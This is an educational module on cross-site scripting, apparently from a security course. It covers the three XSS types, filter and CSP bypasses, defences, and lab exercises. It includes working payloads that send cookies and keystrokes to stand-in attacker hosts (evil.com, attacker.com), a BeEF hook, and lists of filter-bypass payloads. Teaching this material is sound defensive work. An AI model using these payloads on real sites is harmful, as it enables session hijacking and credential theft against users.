XSS: Cross-Site Scripting In-Depth
Master all three types of XSS — reflected, stored, and DOM-based — including filter bypass, CSP bypass, advanced payloads for cookie theft and keylogging, and robust defenses.
Learning Objectives
- → Exploit reflected, stored, and DOM-based XSS
- → Bypass common XSS filters: HTML encoding, keyword blacklists
- → Steal session cookies and implement a basic XSS keylogger
- → Understand and exploit CSP misconfigurations
- → Implement complete XSS defense: output encoding, CSP, trusted types
The Three Types of XSS
1. Reflected XSS
Payload in URL → reflected in response → executes in victim's browser:
URL: https://example.com/search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
Attack flow:
1. Attacker crafts malicious URL
2. Sends to victim via phishing/email/social engineering
3. Victim clicks → browser executes script in example.com context
4. Script can read cookies, exfiltrate data, etc.
2. Stored (Persistent) XSS
Payload stored in database → served to every user:
// Comment field — attacker posts:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
// Every user who views the comment executes it
// Attacker's server receives their session cookies
Most dangerous: affects ALL users, no need for individual phishing.
3. DOM-based XSS
Payload never touches the server — JavaScript reads URL/DOM and writes unsanitized:
<!-- Vulnerable JS -->
<script>
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello " + name;
</script>
URL: https://example.com/?name=<img src=x onerror=alert(1)>
The server serves the same HTML every time — XSS happens entirely in the browser.
XSS Payloads
Basic Tests
// Classic
<script>alert(1)</script>
<script>alert(document.cookie)</script>
// Event handlers (when <script> is filtered)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<a href="javascript:alert(1)">click</a>
<video><source onerror=alert(1)>
// URL-based
javascript:alert(1) (in href attributes)
// Template literal (for WAFs that filter quotes)
<script>alert`1`</script>
Cookie Theft Payload
// Exfiltrate cookies to attacker server
<script>
document.location='https://evil.com/steal?c='+encodeURIComponent(document.cookie)
</script>
// Image-based exfil (no redirect, victim stays on page)
<script>
new Image().src='https://evil.com/c?'+encodeURIComponent(document.cookie)
</script>
// Fetch (async)
<script>
fetch('https://evil.com/c',{method:'POST',body:document.cookie})
</script>
XSS Keylogger
<script>
document.addEventListener('keydown', function(e) {
fetch('https://evil.com/key?k=' + encodeURIComponent(e.key),
{mode: 'no-cors'})
})
</script>
BeEF (Browser Exploitation Framework)
// Hook victim browser to BeEF server
<script src="https://attacker.com:3000/hook.js"></script>
// BeEF provides:
// - Browser info, extensions, plugins
// - Cookie theft, keystroke logging
// - Social engineering dialogs
// - Network discovery from browser
XSS Filter Bypass
HTML Encoding Bypass
If filter converts < > to < >:
Use event handlers in attributes that don't need < >:
" onmouseover="alert(1)
If inside an attribute value:
"><script>alert(1)</script> (break out of attribute)
'/><script>alert(1)</script> (break out of value)
Keyword Filter Bypass
// 'script' filtered:
<SCRIPT>alert(1)</SCRIPT> // case
<scr<script>ipt>alert(1)</scr</script>ipt> // nested
<img src=x onerror=alert(1)> // avoid 'script'
// 'alert' filtered:
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
// 'onerror' filtered (use other events):
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<svg onload=alert(1)>
// Quotes filtered:
<script>alert(/XSS/)</script>
<script>alert`1`</script>
DOM XSS Sinks
The most dangerous JS functions (avoid passing untrusted data):
// HTML sinks
element.innerHTML = userInput; // XSS if contains tags
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
// URL sinks
location.href = userInput; // XSS via javascript:
location.replace(userInput);
// Script sinks
eval(userInput); // RCE in browser context
setTimeout(userInput, 1000);
new Function(userInput)();
// Safe alternatives
element.textContent = userInput; // safe — treats as text
element.setAttribute("data-x", u); // safe if not event attr
CSP Bypass Techniques
Unsafe Configurations
// 1. unsafe-inline present → inline scripts allowed → XSS works
Content-Security-Policy: script-src 'self' 'unsafe-inline'
// 2. CDN whitelisted with bypass gadgets
Content-Security-Policy: script-src 'self' https://cdn.example.com
// If cdn.example.com hosts Angular, React, etc.:
// <script src="https://cdn.example.com/angular.min.js"></script>
// <div ng-app ng-csr="constructor.constructor('alert(1)')()"></div>
// 3. data: URI whitelisted
Content-Security-Policy: script-src 'self' data:
// <script src="data:text/javascript,alert(1)"></script>
// 4. strict-dynamic with nonce bypass
// If attacker can control a script tag with a valid nonce:
<script nonce="VALID_NONCE" src="attacker.com/xss.js"></script>
XSS Defense
1. Output Encoding (Primary)
# Python/Django — auto-escaping in templates
{{ user_input }} # SAFE — Django escapes < > " ' &
{{ user_input|safe }} # DANGEROUS — disables escaping
# Flask — Jinja2 auto-escaping
{{ user_input }} # SAFE
{{ user_input|safe }} # DANGEROUS
# Explicit escaping when building HTML in Python
import html
safe = html.escape(user_input) # escapes < > & " '
# JavaScript encoding for inline JS
import json
safe_js = json.dumps(user_input) # properly escaped for JS context
2. DOMPurify (Client-Side Sanitization)
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
<script>
// Clean HTML before inserting into DOM
const clean = DOMPurify.sanitize(dirtyHTML, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
document.getElementById("content").innerHTML = clean;
</script>
3. Trusted Types (Modern Browser Defense)
// Requires browser support — blocks all dangerous DOM sinks by default
// Set via CSP:
Content-Security-Policy: require-trusted-types-for 'script'
// Then in JS — only TrustedHTML objects can be assigned to innerHTML:
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input)
});
element.innerHTML = policy.createHTML(userInput); // sanitized
// element.innerHTML = userInput; // TypeError — blocked!
4. HttpOnly Cookies
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
Even if XSS runs, document.cookie won't include HttpOnly cookies → limits session theft.
On DVWA or PortSwigger labs: (1) Reflected XSS: inject in search field, (2) Stored XSS: inject a cookie-stealing payload in a comment field — simulate the victim viewing it, (3) DOM XSS: find a page that reads the URL hash and writes to innerHTML — inject via URL fragment. Document request, payload, and impact for each.
What makes stored XSS more dangerous than reflected XSS?
What is a DOM XSS sink?
A web app blocks: 'script', 'alert', '<', '>' — find 5 different XSS payloads that bypass these filters. Test each in a simulated filter (Python function that checks these strings). Then bypass a CSP with 'unsafe-inline' disabled by finding a JSONP endpoint or whitelisted CDN with Angular.
What event handler can fire without user interaction in an img tag?
Harden a vulnerable comment system: (1) add output encoding with html.escape() for server-side rendering, (2) add DOMPurify for client-side rich text, (3) set HttpOnly+Secure cookies, (4) add CSP: default-src 'self'; script-src 'self' 'nonce-RANDOM', (5) add Trusted Types policy that routes all innerHTML through DOMPurify, (6) verify with 10 XSS payloads that all are blocked.
What does DOMPurify.sanitize() do?